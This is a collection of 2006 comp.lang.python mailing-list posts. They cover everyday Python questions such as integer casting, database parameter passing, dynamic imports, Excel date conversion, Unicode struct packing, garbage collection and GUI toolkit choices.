References: <1159826153.470372.101200@e3g2000cwe.googlegroups.com>
	<1159826923.911685.30120@m73g2000cwd.googlegroups.com>
Message-ID: <1159828738.510075.153600@i42g2000cwa.googlegroups.com>

To your question on casting long to short. This is how:
a=1234L     # long
b=int(a)       # int (short)

John Machin skrev:
> SpreadTooThin wrote:
> > Basically I think the problem is in converting from a 32 bit integer to
> > a 16 bit integer.
> >
> > I have two arrays:
> > import array
> >
> > a = array.array('L', [65537])
> > b = array.array('H', [0])
> >
> > b[0] = a[0]
> >
> > Which gives an overflow message....
>
> As it should.
>
> > So can't I truncate the long by discaring the upper bits ..
> > Like  b[0] = 0x0000FFFF & a[0]
>
> Any reason why you don't you just try it?
>
> | >>> import array
> | >>> a = array.array('L', [65537])
> | >>> b = array.array('H', [0])
> | >>> a[0]
> | 65537L
> | >>> a[0] & 0xffff
> | 1L
> | >>> b[0] = a[0] & 0xffff
> | >>> b[0]
> | 1
> | >>>



From deets at nospam.web.de  Fri Oct 20 16:56:43 2006
From: deets at nospam.web.de (Diez B. Roggisch)
Date: Fri, 20 Oct 2006 22:56:43 +0200
Subject: curious paramstyle qmark behavior
In-Reply-To: <1161374817.671583.175910@i3g2000cwc.googlegroups.com>
References: <1161374817.671583.175910@i3g2000cwc.googlegroups.com>
Message-ID: <4psrg8Fk6p80U1@uni-berlin.de>

BartlebyScrivener schrieb:
> With
> 
> aColumn = "Topics.Topic1"'
> 
> The first statement "works" in the sense that it finds a number of
> matching rows.
> 
> c.execute ("SELECT Author, Quote, ID, Topics.Topic1, Topic2 FROM
> QUOTES7 WHERE " + aColumn + " LIKE ?", ("%" + sys.argv[1] + "%",))
> 
> I've tried about 20 different variations on this next one. And it finds
> 0 records no matter what I do. Is there some violation when I use two
> qmarks?
> 
> c.execute ("SELECT Author, Quote, ID, Topics.Topic1, Topic2 FROM
> QUOTES7 WHERE ? LIKE ?", (aColumn, "%" + sys.argv[1] + "%"))
> 
> I'm using mx.ODBC and Python 2.4.3 to connect to an MS Access DB.

Parameter passing only works for literal values - not for creating sql 
statements.

So, actually your first version is the correct version.

Diez


From aahz at pythoncraft.com  Fri Oct  6 19:27:51 2006
From: aahz at pythoncraft.com (Aahz)
Date: 6 Oct 2006 16:27:51 -0700
Subject: Names changed to protect the guilty
Message-ID: <eg6opn$7oj$1@panix3.panix.com>

The following line of lightly munged code was found in a publicly
available Python library...

    if schema.elements.has_key(key) is False:

Sorry, just had to vent.
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

"If you don't know what your program is supposed to do, you'd better not
start writing it."  --Dijkstra


From bernard.chhun at gmail.com  Mon Oct  2 10:55:23 2006
From: bernard.chhun at gmail.com (Bernard)
Date: 2 Oct 2006 07:55:23 -0700
Subject: Making posts to an ASP.NET webform.
Message-ID: <1159800922.942615.28120@i42g2000cwa.googlegroups.com>

hiya everyone,

I've made this little webcrawler using BeautifulSoup, urllib and
urllib2. I've been encountering ASP.NET Forms recently and I can't seem
to make a proper post to some of them. My post function has been doing
great until this particular website.
Here's some explanations first so that you guys understands my
problem...

Usually there are 8 hidden inputs spread all over the web page:
__EVENTTARGET --> that is the id of the control that is assigned by the
ASP.NET engine. It is usually in this particular form
"dg_Result$_ctl2$linkbtn1" The javascript function DoPostback usually
replaces the '$' for a ':' before doing the real post. Some other
ASP.NET page doesn't.
__EVENTARGUMENT --> nothing's here usually.
__ScrollTop --> its value is often 0
__ScrollLeft --> same as __ScrollTop
__ValidationSummary --> usually empty
__VIEWSTATEENCRYPTED --> an encrypted string. I don't know what it
means nor what it does.
__EVENTVALIDATION --> an encrypted string. I don't know what it means
nor what it does.
__VIEWSTATE --> the encrypted state of the current control. the state
of a datagrid for example.

I extract all those values using regexes on the web page, build a
dictionnary out of all those values and encrypt the whole thing using
urllib.urlencode(). Afterwards I extract the form action and post the
whole thing with cookies enabled. This procedure works like a charm.

The website I've just encounted has only 3 of the 8 hidden inputs.
(EVENTTARGET, EVENTARGUMENT & VIEWSTATE ).
I tried posting the whole thing using only these 3 values & nada.
I then tried posting the whole thing using all empty values for the 5
remaining values...still nothing.

Has anyone tried what I'm doing? and if you tried how have you
succeeded getting the data back after the post action?

thanks for any tips!

cP



From leonel.gayard at gmail.com  Mon Oct 30 09:03:26 2006
From: leonel.gayard at gmail.com (leonel.gayard at gmail.com)
Date: 30 Oct 2006 06:03:26 -0800
Subject: How can I import a script with an arbitrary name ?
Message-ID: <1162217006.567079.315440@i42g2000cwa.googlegroups.com>

Hi all,

I have a script responsible for loading and executing scripts on a
daily basis. Something like this:

import time
t = time.gmtime()
filename = t[0] + '-' + t[1] + '-' + t[2] + '.py'
import filename

So, I have a module with an arbitrary file name and I want to load it,
and later access its function definitions.
How can I do this ?  In my example, the last line will obviously not
work.



From marijuanated at gmail.com  Tue Oct 31 23:27:03 2006
From: marijuanated at gmail.com (marijuanated at gmail.com)
Date: 31 Oct 2006 20:27:03 -0800
Subject: .pyc's
In-Reply-To: <1162354879.039642.195690@k70g2000cwa.googlegroups.com>
References: <1162354879.039642.195690@k70g2000cwa.googlegroups.com>
Message-ID: <1162355223.200685.308760@m73g2000cwd.googlegroups.com>

You can try decompyle

http://packages.debian.org/unstable/python/decompyle

It works only until python version 2.3 though



From donn at u.washington.edu  Mon Oct  2 14:04:30 2006
From: donn at u.washington.edu (Donn Cave)
Date: Mon, 02 Oct 2006 11:04:30 -0700
Subject: commands.getstatusoutput result is not command line exit value!!!
References: <452125F8.8070106@googlemail.com> <efrat3$db4$1@sea.gmane.org>
	<45213245.3000808@googlemail.com>
	<mailman.1103.1159803852.10491.python-list@python.org>
Message-ID: <donn-117DB5.11043002102006@gnus01.u.washington.edu>

In article <mailman.1103.1159803852.10491.python-list at python.org>,
 Steve Holden <steve at holdenweb.com> wrote:

> Basically the value you want is shifted up 8 bits. Perhaps I should more 
> understandably have said:
> 
>    12 << 8 == 3072

Or as already suggested in other followups, use os.WEXITSTATUS
(and os.WIFEXITED.)  Not only does this do more precisely the
right thing, it will work on any platform that supports a
POSIX wait -- which doesn't require that exit == status << 8,
only that WEXITSTATUS be able to return that value.

   Donn Cave, donn at u.washington.edu


From aisaac0 at verizon.net  Wed Oct  4 12:30:12 2006
From: aisaac0 at verizon.net (David Isaac)
Date: Wed, 04 Oct 2006 16:30:12 GMT
Subject: loop beats generator expr creating large dict!?
References: <20061002215040.65003374.gry@ll.mit.edu><1159866342.984495.254000@i42g2000cwa.googlegroups.com><F6tUg.7027$pS3.4731@trnddc01>
	<mailman.1165.1159880994.10491.python-list@python.org>
Message-ID: <okRUg.15397$3T2.7333@trnddc06>

> Alan Isaac wrote:
> > The current situation is:  use a loop because the obvious generator
> > approach is not efficient.


"Fredrik Lundh" <fredrik at pythonware.com> wrote in message
news:mailman.1165.1159880994.10491.python-list at python.org...
> "not efficient" compared to what ?

I already guess that I've missed your point, but to prove it...
I was referring to the beginning of this thread
where George noted that
palettes = dict((w,set(w)) for w in words)
runs slower than
palettes={}
for w in words:
   palettes[w]=set(w)
The reason seems obvious: the otiose tuple creation,
but there is no "more efficient" syntax to use with 'dict'.

Alan Isaac




From g.brandl-nospam at gmx.net  Mon Oct  9 11:22:18 2006
From: g.brandl-nospam at gmx.net (Georg Brandl)
Date: Mon, 09 Oct 2006 17:22:18 +0200
Subject: file system iteration
In-Reply-To: <mailman.122.1160405114.11739.python-list@python.org>
References: <egdg02$pcd$1@solaris.cc.vt.edu> <egdjp5$7sm$1@news.albasani.net>
	<mailman.122.1160405114.11739.python-list@python.org>
Message-ID: <egdpfa$gef$2@news.albasani.net>

Jonathan Hartley wrote:
> Georg Brandl wrote:
>  >> Which application needs to walk over ALL files?
> 
> How about 'updatedb' for starters, the index-maintainer for the common 
> *nix command-line utility 'locate'.
> 
> I'm pretty sure that os.walk( ) deals with symbolic links (by not 
> visiting them) and ' /proc'  type complexities by not doing anything to 
> walked directories that '/proc' type entries cannot deal with. I think 
> (no sarcasm intended) the point of offering a directory-like interface 
> to '/proc' was so one can perform directory-like operations on it.

Sure, and I don't say that this is not useful.

But for all applications mentioned in the thread (virus scanning, searching
for a file by name, updating the locate db), including /proc is not very
useful, to say the least.

Georg


From fredrik at pythonware.com  Wed Oct 25 11:34:32 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Wed, 25 Oct 2006 17:34:32 +0200
Subject: python GUIs comparison (want)
In-Reply-To: <1161789219.663099.275260@i42g2000cwa.googlegroups.com>
References: <1161666459.401958.267280@i42g2000cwa.googlegroups.com>	<1161783204.875966.164720@b28g2000cwb.googlegroups.com>
	<1161789219.663099.275260@i42g2000cwa.googlegroups.com>
Message-ID: <eho067$nv7$1@sea.gmane.org>

Paul Boddie wrote:

> seem to have moved very far, despite Fredrik's efforts: what happened
> to Tkinter 3000 or was that a codename for something else?

the first Tk3K project solved 95% of the problems (*) I had
with Tkinter:

     http://effbot.org/zone/wck.htm

(especially when combined with OpenGL).

don't leave home without it.

</F>

*) the remaining five are better handled by application-specific 
abstractions.  like most other things in Python.



From dakman at gmail.com  Tue Oct 31 14:09:12 2006
From: dakman at gmail.com (dakman at gmail.com)
Date: 31 Oct 2006 11:09:12 -0800
Subject: Overriding traceback print_exc()?
In-Reply-To: <Ae6dndxQ39_EBNrYnZ2dnUVZ_oydnZ2d@nmt.edu>
References: <Ae6dndxQ39_EBNrYnZ2dnUVZ_oydnZ2d@nmt.edu>
Message-ID: <1162321752.187584.40520@e64g2000cwd.googlegroups.com>

You could always override sys.stderr with a instance of your own with a
write() method. Though you will still have to catch the exceptions.

Bob Greschke wrote:
> I want to cause any traceback output from my applications to show up in one
> of my dialog boxes, instead of in the command or terminal window (between
> running on Solaris, Linux, OSX and Windows systems there might not be any
> command window or terminal window to show the traceback messages in).  Do I
> want to do something like override the print_exc (or format_exc?) method of
> traceback to get the text of the message and call my dialog box routine?  If
> that is right how do I do that (monkeying with classes is all still a grey
> area to me)?
>
> I kind of understand using the traceback module to alter the output of
> exceptions that I am looking for, but I'm after those pesky ones that should
> never happen. :)
> 
> Thanks!
> 
> Bob



From simon at brunningonline.net  Thu Oct  5 15:03:56 2006
From: simon at brunningonline.net (Simon Brunning)
Date: Thu, 5 Oct 2006 20:03:56 +0100
Subject: How do I read Excel file in Python?
In-Reply-To: <1160069137.525290.90000@m73g2000cwd.googlegroups.com>
References: <1160057474.600863.239360@k70g2000cwa.googlegroups.com>
	<1160061718.605057.243590@h48g2000cwc.googlegroups.com>
	<1160067650.709670.71460@e3g2000cwe.googlegroups.com>
	<1160069137.525290.90000@m73g2000cwd.googlegroups.com>
Message-ID: <8c7f10c60610051203m37c5e1f6l40cb4f52cd2ede29@mail.gmail.com>

On 5 Oct 2006 10:25:37 -0700, Matimus <mccredie at gmail.com> wrote:
> > the date( 8/9/2006 ) in Excel file, i am getting the value as 38938.0,
> > which I get when I convert date values to general format in Excel. I
> > want the actual date value. How do get that?
>
> 38938 appears to be the date in days since 1/1/1900. I'm sure someone
> can help you figure out how to convert that to a more useful value.

>>> excel_date = 38938.0
>>> python_date = datetime.date(1900, 1, 1) +
datetime.timedelta(days=excel_date)
>>> python_date
datetime.date(2006, 8, 11)

-- 
Cheers,
Simon B
simon at brunningonline.net
http://www.brunningonline.net/simon/blog/


From sjmachin at lexicon.net  Mon Oct  9 02:06:40 2006
From: sjmachin at lexicon.net (John Machin)
Date: 8 Oct 2006 23:06:40 -0700
Subject: Unicode strings, struct, and files
In-Reply-To: <7ghji2hr4clsv9fp9nhlqr28sf98jf8e6l@4ax.com>
References: <7ghji2hr4clsv9fp9nhlqr28sf98jf8e6l@4ax.com>
Message-ID: <1160374000.207864.13340@m73g2000cwd.googlegroups.com>


Tom Plunket wrote:
> I am building a file with the help of the struct module.
>
> I would like to be able to put Unicode strings into this file, but I'm
> not sure how to do it.
>
> The format I'm trying to write is basically this C structure:
>
> struct MyFile
> {
>    int magic;
>    int flags;
>    short otherFlags;
>    char pad[22];
>
>    wchar_t line1[32];
>    wchar_t line2[32];
>
>    // ... other data which is easy.  :)
> };
>
> (I'm writing data on a PC to be read on a big-endian machine.)
>
> So I can write the four leading members with the output of
> struct.pack('>IIH22x', magic, flags, otherFlags).  Unfortunately I
> can't figure out how to write the unicode strings, since:
>
> message = unicode('Hello, world')
> myFile.write(message)
>
> results in 'message' being converted back to a string before being
> written.  Is the way to do this to do something hideous like this:
>
> for c in message:
>    myFile.write(struct.pack('>H', ord(unicode(c))))
>
> ?

I'd suggest UTF-encoding it as a string, using the encoding that
matches whatever wchar means on the target machine, for example
assuming bigendian and sizeof(wchar) == 2:

utf_line1 = unicode_line1.encode('utf_16_be')
etc
struct.pack(">.........64s64s", ......, utf_line1, utf_line2)
Presumes (1) you have already checked that you don't have more than 32
characters in each "line" (2) padding with unichr(0) is acceptable.

HTH,
John



From osv at javad.com  Fri Oct  6 07:32:07 2006
From: osv at javad.com (Sergei Organov)
Date: Fri, 06 Oct 2006 15:32:07 +0400
Subject: [Linux] Detect a key press
References: <1160109947.304308.83910@i3g2000cwc.googlegroups.com>
Message-ID: <eg5ero$mma$1@sea.gmane.org>

"Jia,Lu" <Roka100 at gmail.com> writes:

> Hi all
>   I write a program to detect key press,but , why there is a *space*
> before the character I typed.??

There is none. The output I see when I type 1 2 q is:

->1
   ->2
      ->q

If that is what you see, the problem is in your

   print "->%s"%ch

statement. It implicitly outputs '\n' at the end, and when terminal is
set in raw mode, this is not translated into '\r\n' as when terminal is
in canonical mode.

Try

  print "->%s\r" % ch

or just

  sys.stdout.write(ch)

-- Sergei.



From matt at tplus1.com  Mon Oct  2 10:59:05 2006
From: matt at tplus1.com (Matthew Wilson)
Date: Mon, 02 Oct 2006 14:59:05 GMT
Subject: How can I make a class that can be converted into an int?
Message-ID: <slrnei2a9p.8ds.matt@mwilson.umlcoop.net>

What are the internal methods that I need to define on any class so that
this code can work?

c = C("three")

i = int(c) # i is 3

I can handle the part of mapping "three" to 3, but I don't know what
internal method is called when int(c) happens.

For string conversion, I just define the __str__ method.  What's the
equivalent for int?  For float, too, while I'm at it?

TIA

Matt

-- 
A better way of running series of SAS programs:
http://overlook.homelinux.net/wilsonwiki/SasAndMakefiles


From cjw at sympatico.ca  Fri Oct 20 10:17:00 2006
From: cjw at sympatico.ca (Colin J. Williams)
Date: Fri, 20 Oct 2006 10:17:00 -0400
Subject: User Access to the docstring of a property
Message-ID: <ehalov$oh6$1@sea.gmane.org>

Is there some way that the user can access the docstring specified for a 
property?

Please see the example below:

# propDocTest
class A(object):
   def __init__(self, value):
     self.value= value
   def vGet(self):
     return self.value
   V= property (fget= vGet, doc="Get Value.")

a= A(22)
print a.vGet()
print a.V
print a.V.__doc__     # this gives the docstring for the value returned
help(a.V)             # this gives the docstring for the class/type of 
the value returned

Colin W.



From sybrenUSE at YOURthirdtower.com.imagination  Thu Oct 26 08:21:04 2006
From: sybrenUSE at YOURthirdtower.com.imagination (Sybren Stuvel)
Date: Thu, 26 Oct 2006 14:21:04 +0200
Subject: displaying \n-less prompts in a pythonic way
References: <_pGdnRgy36cLON3YnZ2dnUVZ_s2dnZ2d@comcast.com>
Message-ID: <slrnek1a1g.its.sybrenUSE@schuimige.stuvel.eu>

alf enlightened us with:
> I have a command line program which also does some interaction with the 
> user using stdin and stdout.
>
> My requirement is to print prompt so the user can answer in the same 
> line. Unfortunately:
>
>   print 'enter command:',
>
>
> does not really work as the comma is carried over to the following lines 
> and the indentation gets messed up.
>
>
> I can use sys.stdout.write('enter command:') instead but kind of do not 
> like sys.stdout.write mixed up with print's statements used to display 
> other informations.
>
>
> Is there a pythonic solution for the problem?

Yeah, write a function:

def prompt(label):
    '''Prompts the user, returning the typed text'''

    sys.stdout.write(label)
    return sys.stdin.readline()

Sybren
-- 
Sybren St??vel
St??vel IT - http://www.stuvel.eu/


From deets at nospam.web.de  Tue Oct 10 10:02:56 2006
From: deets at nospam.web.de (Diez B. Roggisch)
Date: Tue, 10 Oct 2006 16:02:56 +0200
Subject: Python component model
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>
	<452aeed2$0$8740$ed2619ec@ptn-nntp-reader02.plus.net>
	<UVDWg.12152$UG4.2954@newsread2.news.pas.earthlink.net>
	<1160467516.602655.169920@c28g2000cwb.googlegroups.com>
	<7xlknotwuy.fsf@ruckus.brouhaha.com> <4p14h4Fgk9jaU1@uni-berlin.de>
	<ONMWg.12226$UG4.2497@newsread2.news.pas.earthlink.net>
Message-ID: <4p1nggFgnl6uU1@uni-berlin.de>

> While I understand dynamic typing, I still think it is possible to
> create attributes in a Python component model which could tell a RAD
> tool what type the attribute will encompass for the purpose of
> properties and events. Obviously a "name, type" tuple, among other
> possible information would have to be used. But given Python's amazingly
> flexible type and introspection system, this should be possible.

The amazing flexibility stems from the fact that it is _runtime_. This is
_exactly_ the difference between static and dynamic typing.

If a static analysis (_not_ importing the module, which can trigger
arbitrary code being run!!!) is supposed to deliver the component
architecture, you are either introducing static typing, or get into the
danger of lose coupling between declaration and implementation, rendering
the whole thing pretty useless.

Of course, with a bit of discipline, you can create such a introspection
facility that offers its properties after a mere import, see ZOPE
interfaces for example. 

But in the end, it boils down to declaring stuff for that purpose alone, and
introducing static typing, whereas other languages declare typing for their
own needs, and add the component model upon that. 

And then you lose a _lot_ of what python makes powerful, for a very doubtful
benefit IMHO.

Diez


From johnjsal at NOSPAMgmail.com  Fri Oct 20 13:24:38 2006
From: johnjsal at NOSPAMgmail.com (John Salerno)
Date: Fri, 20 Oct 2006 17:24:38 GMT
Subject: proper format for this database table
In-Reply-To: <mailman.851.1161358338.11739.python-list@python.org>
References: <qWQZg.119$1n3.3371@news.tufts.edu>	<mailman.786.1161289572.11739.python-list@python.org>	<1161293831.141761.284230@e3g2000cwe.googlegroups.com>	<4t5_g.121$1n3.3067@news.tufts.edu>
	<mailman.851.1161358338.11739.python-list@python.org>
Message-ID: <qD7_g.124$1n3.3420@news.tufts.edu>

Carsten Haese wrote:

>>> [id] [university] [yearStart] [yearEnd] [degreeEarned]
>>> 1     U of I       1971        1975      BS
>>> 1     U of I       1975        1976      MS
>>> 1     U of I       1976        1977      PhD
>>>
>> Thanks guys. I do plan to have an id entry for each person as well, I 
>> just forgot to mention that. But since it's a primary key, I didn't know 
>> I could list it more than once. Or does primary key not necessarily mean 
>> unique?
> 
> Primary key *does* mean unique in the table that defines it. However, if
> you take a primary key ID from one table and store it in a different
> table, that's a foreign key. There are no inherent uniqueness
> constraints on a foreign key.
>

So in the example above, isn't that using the same primary key multiple 
times in the same table?


From python.list at tim.thechases.com  Wed Oct  4 17:18:08 2006
From: python.list at tim.thechases.com (Tim Chase)
Date: Wed, 04 Oct 2006 16:18:08 -0500
Subject: Where is Python in the scheme of things?
In-Reply-To: <I4GdnY3G96ZZirnYnZ2dnUVZ_uidnZ2d@magma.ca>
References: <I4GdnY3G96ZZirnYnZ2dnUVZ_uidnZ2d@magma.ca>
Message-ID: <45242510.2000300@tim.thechases.com>

Not sure if this is a troll...I've seen several of these sorts of
posts on the list.  But it seems innocent enough, so I'll bite. :)

I'm not sure Delphi is really one of the "big 3"...surprisingly
Java and C# don't make your list.

> What is particularly disappointing is the absence of a Windows
>  IDE, components and an event driven paradigm.

I've not tried any of the gui-builders that are out there.
However, I understand that several exist.  I'm just a contented
vim junkie.

As for the event-driven paradigm, you might want to investigate
both the standard tkinter package, or the commonly used wxpython
package (recently praised/reviewed/talked-up on Ron Stephen's
Python411 podcast).  Both have a main-loop processing method that
gets called, and then feeds messages to your various objects via
method-calls.

> How does Python stand relative to the big 3, namely Visual 
> C++, Visual Basic and Delphi?

Visual C++ minuses compared to Python
-------------------------------------
Half a bajillion lines of code to do the most simple of things.
Ability to shoot yourself in the foot with errant pointers.
Limited standard libraries (without chaining yourself to one
particular platform in general).  Windows only for the most part
(okay, other C++ compilers exist, but you explicitly mention
VC++).  Minimal ability to interactively inspect/effect your
program.  Requires a compile/link phase.  Code is usually hard to
read.  Macros and templates make for a headache (or worse).  Two
files each for most productive stuff (your header & source) if
not more (your .o object file, your .lib output file, your .idl
interface file, your workspace file, your makefile, etc).

Delphi compared to Python
-------------------------
Delphi is nice.  It still takes more code to do a given task than
it does in Python.  It's very B&D (none of this sissy
"pseudo-type-checked" syntax of C/C++/Java where int-types are
really just ints with Groucho-glasses...types are types in
Delphi!), which can be good or bad according to your tastes.
Still requires a compile/link phase, but not as long as C/C++
does.  Somewhat more portable than VC++, as there's Kylix for
Linux, but still not as universally available as Python.  I can't
malign it too badly as I have a soft spot in my heart for
object-pascal.

Visual Basic compared to Python
-------------------------------
VB shares some interesting aspects with Python...namely it's much
more readable than the other two.  It's syntax is clunky at best,
with goto's, and cobbled-on exception handling (at least in
VB-Classic, as opposed to VB.Net with which I have no experience,
thank goodness).  It's good for hammering together a quick form
and dropping some code behind it.  However, it's not exactly
portable to other platforms (though there is the Gambas project
that offers VB-ish development on *nix platforms).  It's not
terribly object-oriented, so doing OO-related stuff is next to
impossible.  Functions aren't first-class objects, so you have to
do some funky workarounds.

I might be exaggerating regarding C++ and the half-a-bajillion
lines...it may only be something like a quarter-of-a-bajillion lines.

> I realize that these programming packages are quite expensive
>  now while Python is free (at least for the package I am using
>  - ActivePython).

I had heard that VC++ and VB had free standalone stripped-down
versions available for download.  And Borland had a beginners'
edition of Delphi available for free download at one point as
well.  All hearsay until proven otherwise, but that was my feable
understanding.

But I'm also gonna have to agree with Paddy, about the "better
than all three".  And the "knobs" bit.

My $0.02 ramble...

-tkc









From skip at pobox.com  Mon Oct 23 16:03:56 2006
From: skip at pobox.com (skip at pobox.com)
Date: Mon, 23 Oct 2006 15:03:56 -0500
Subject: Getting a lot of SPAM from this list
In-Reply-To: <UeSdnWGhrcr6iaDYnZ2dnUVZ_s2dnZ2d@comcast.com>
References: <UeSdnWGhrcr6iaDYnZ2dnUVZ_s2dnZ2d@comcast.com>
Message-ID: <17725.8236.397367.923534@montanaro.dyndns.org>


    Larry> Does anyone have a suggestion as to a way that I can get less of
    Larry> this spam?  ....  I'm running spamassassin

Get a better spam filter?

Skip


From steveadi at gmail.com  Sun Oct 29 14:26:11 2006
From: steveadi at gmail.com (frankie_85)
Date: 29 Oct 2006 11:26:11 -0800
Subject: Reverse function python?  How to use?
Message-ID: <1162149971.025963.144720@e64g2000cwd.googlegroups.com>

Ok I'm really lost (I'm new to python) how to use the reverse function.


I made a little program which basically the a, b, c, d, e which I have
listed below and basically I want it th result to be printed reverse so
instead doing "print e, d, c, b, a", I'd like to use the reverse
function

Can someone give pointersguidelines / on how to do it?

[code]
    a = str(math.sqrt(math.fabs(x1)) + 5*((math.pow(x1,3))))
    b = str(math.sqrt(math.fabs(x2)) + 5*((math.pow(x2,3))))
    c = str(math.sqrt(math.fabs(x3)) + 5*((math.pow(x3,3))))
    d = str(math.sqrt(math.fabs(x4)) + 5*((math.pow(x4,3))))
    e = str(math.sqrt(math.fabs(x5)) + 5*((math.pow(x5,3))))
[/code]

 Thanks in advance



From sybrenUSE at YOURthirdtower.com.imagination  Fri Oct 13 07:41:18 2006
From: sybrenUSE at YOURthirdtower.com.imagination (Sybren Stuvel)
Date: Fri, 13 Oct 2006 13:41:18 +0200
Subject: Need a Regular expression to remove a char for Unicode text
References: <1160735716.805309.316830@m73g2000cwd.googlegroups.com>
Message-ID: <slrneiuuqu.651.sybrenUSE@schuimige.stuvel.eu>

??????????????????????????? enlightened us with:
> Can any one tell me how can i remove a character from a unocode
> text.  ?????????<200c>&????????? is a Telugu word in Unicode. Here i want to
> remove '&' but not replace with a zero width char. And one more
> thing, if any whitespaces are there before and after '&' char, the
> text should be kept as it is.

So basically, you want to match <200c>& and replace it with <200c>,
but only if it's not surrounded by whitespace, right?

r"(?<!\s)\x200c&(?!\s)" should match. I'm sure you'll be able to take
it from there.

Sybren
-- 
Sybren St??vel
St??vel IT - http://www.stuvel.eu/


From wescpy at gmail.com  Thu Oct  5 19:14:13 2006
From: wescpy at gmail.com (wesley chun)
Date: Thu, 5 Oct 2006 16:14:13 -0700
Subject: How do I put % in a format sting?
Message-ID: <78b3a9580610051614x56d7f736ke4ac7c39c0053796@mail.gmail.com>

as fredrik and others have mentioned, '%%' in a format string gives
you the single '%' in the string as desired.

however, in your specific application (database), it's best to avoid
using Python's string formatting unless that is the default provided
by your database adapter for the reasons that carsten mentioned,
namely the possibility of a SQL injection attack.  when dealing with
databases, it's always safest to let the adapter code format your
string for you.

good luck!
-- wesley
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
"Core Python Programming", Prentice Hall, (c)2007,2001
    http://corepython.com

wesley.j.chun :: wescpy-at-gmail.com
python training and technical consulting
cyberweb.consulting : silicon valley, ca
http://cyberwebconsulting.com


From trvr_lock at yahoo.com  Wed Oct 25 15:19:20 2006
From: trvr_lock at yahoo.com (trevor lock)
Date: Wed, 25 Oct 2006 12:19:20 -0700 (PDT)
Subject: Using classes in python
Message-ID: <20061025191920.55088.qmail@web58101.mail.re3.yahoo.com>

Hello,

I've just started using python and have observed the following :

class foo:
    a=[]
    def __init__(self, val):
            self.a.append ( val )
    def getA(self):
            print self.a
            return self.a

z = foo(5)
y = foo(4)
z.getA()
>> [5, 4]

I was expecting that everytime I created an instance of the class that a unique dictionary was also created, however it seems that only one dictionary is created.

How can I create a new dictionary for each instance?

Thanks,
Trevor.

 		
---------------------------------
 All-new Yahoo! Mail - Fire up a more powerful email and get things done faster.
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From davidh at ilm.com  Thu Oct  5 21:05:45 2006
From: davidh at ilm.com (David Hirschfield)
Date: Thu, 05 Oct 2006 18:05:45 -0700
Subject: Question about turning off garbage collection
Message-ID: <4525ABE9.7020000@ilm.com>

Question from a post to pygtk list...but it probably would be better 
answered here:

I encountered a nasty problem with an external module conflicting with 
my python threads recently, and right now the only fix appears to be to 
turn off garbage collection while the critical code of the thread is 
running, and then turn it back on afterwards.

Now, I don't know much about how the garbage collector works in python, 
and in order to get the thread to run without freezing, I'm wrapping the 
threaded processing function with calls to gc.disable()/gc.enable().

So what's that going to do? Will calling gc.enable() put things in good 
shape? Will all objects created while the garbage collector was off now 
be un-collectable? I'm extremely wary of this solution, as I think 
anyone would be. I don't want a suddenly super-leaky app.

Comments? Suggestions? (I know, I know, avoid threads...if only I could)
-Dave

-- 
Presenting:
mediocre nebula.



From Laundro at gmail.com  Tue Oct 31 09:51:19 2006
From: Laundro at gmail.com (LaundroMat)
Date: 31 Oct 2006 06:51:19 -0800
Subject: Help me understand this iterator
In-Reply-To: <1162306091.528097.86850@e3g2000cwe.googlegroups.com>
References: <1162294568.168728.178270@m73g2000cwd.googlegroups.com>
	<ei7e0o$7lt$02$2@news.t-online.com>
	<1162306091.528097.86850@e3g2000cwe.googlegroups.com>
Message-ID: <1162306279.376582.276560@m73g2000cwd.googlegroups.com>

Ack, I get it now. It's not the variable's name ("index") that is
hard-coded, it's just that the for...in... loop sends an argument by
default. That's a lot more comforting.



From steve at holdenweb.com  Sun Oct  1 12:13:19 2006
From: steve at holdenweb.com (Steve Holden)
Date: Sun, 01 Oct 2006 17:13:19 +0100
Subject: Is this a bug? Python intermittently stops dead for seconds
In-Reply-To: <33220932.1159717044981.JavaMail.root@elwamui-chisos.atl.sa.earthlink.net>
References: <33220932.1159717044981.JavaMail.root@elwamui-chisos.atl.sa.earthlink.net>
Message-ID: <451FE91F.4090608@holdenweb.com>

charlie strauss wrote:
> Steve, digging into the gc docs a bit more, I think the behaviour I am seeing is still not expected.  Namely, the program I offered has no obvious place where objects are deallocated.  The way GC is supposed to work is thate there are three levels of objects
> 
> level0:  newly created objects
> level1:  objects that survived 1 round of garbage collection
> level2:  objects that survivied 2+ rounds of gargbage collection
> 
> Since all of my numerous objects are level2 objects, and none of them are every deallocated, then I should never trip the GC for these.
> 
> Your explanation would require this to be tripped so I can't explain it.  For your explanation to be correct then there as to be some non-obvious step in the program that is deallocating level2 items in sufficient numbers to trip the GC.  
> 
So perhaps you can explain why switching garbage collection off changes 
program behaviour? If you read the documentation more carefully you will 
see that the collector merely scans generations 1 and 2 less frequently 
that generation 0.

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden


From sxn02 at yahoo.com  Mon Oct 23 14:07:41 2006
From: sxn02 at yahoo.com (Sorin Schwimmer)
Date: Mon, 23 Oct 2006 11:07:41 -0700 (PDT)
Subject: Tkinter question
Message-ID: <20061023180741.71666.qmail@web56002.mail.re3.yahoo.com>

Hi All,

Is it possible to have a widget id while it is created?
Something like this:

Button(root, text='...', command= lambda v=<widget id>: fn(v)).grid()

and then the function:

def fn(v):
  v['bg']='BLUE' # or maybe nametowidget(v)['bg']='BLUE'

Thanks,
Sorin



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From onurb at xiludom.gro  Fri Oct 20 11:17:41 2006
From: onurb at xiludom.gro (Bruno Desthuilliers)
Date: Fri, 20 Oct 2006 17:17:41 +0200
Subject: help with my first use of a class
In-Reply-To: <mailman.846.1161354249.11739.python-list@python.org>
References: <1161324003.586807.145410@b28g2000cwb.googlegroups.com>	<F5_Zg.18137$6S3.4347@newssvr25.news.prodigy.net>
	<mailman.846.1161354249.11739.python-list@python.org>
Message-ID: <4538e896$0$29210$426a74cc@news.free.fr>

Fulvio wrote:
> ***********************
> Your mail has been scanned by InterScan MSS.
> ***********************
> 
> 
> On Friday 20 October 2006 14:34, James Stroud wrote:
>> You really don't need classes for this
> 
> I'm in that matter too. Doesn't classes make the main program neater?

Depends on the program.

> Fundamentally OOP is the way to assemble ready objects to get a "thing" 
> working, rather than worry about any single code line.

This is more a wishful dream than reality. While it can effectively be
pretty powerful - specially with dynamic languages like Python or Ruby -
OO is by no mean magical.

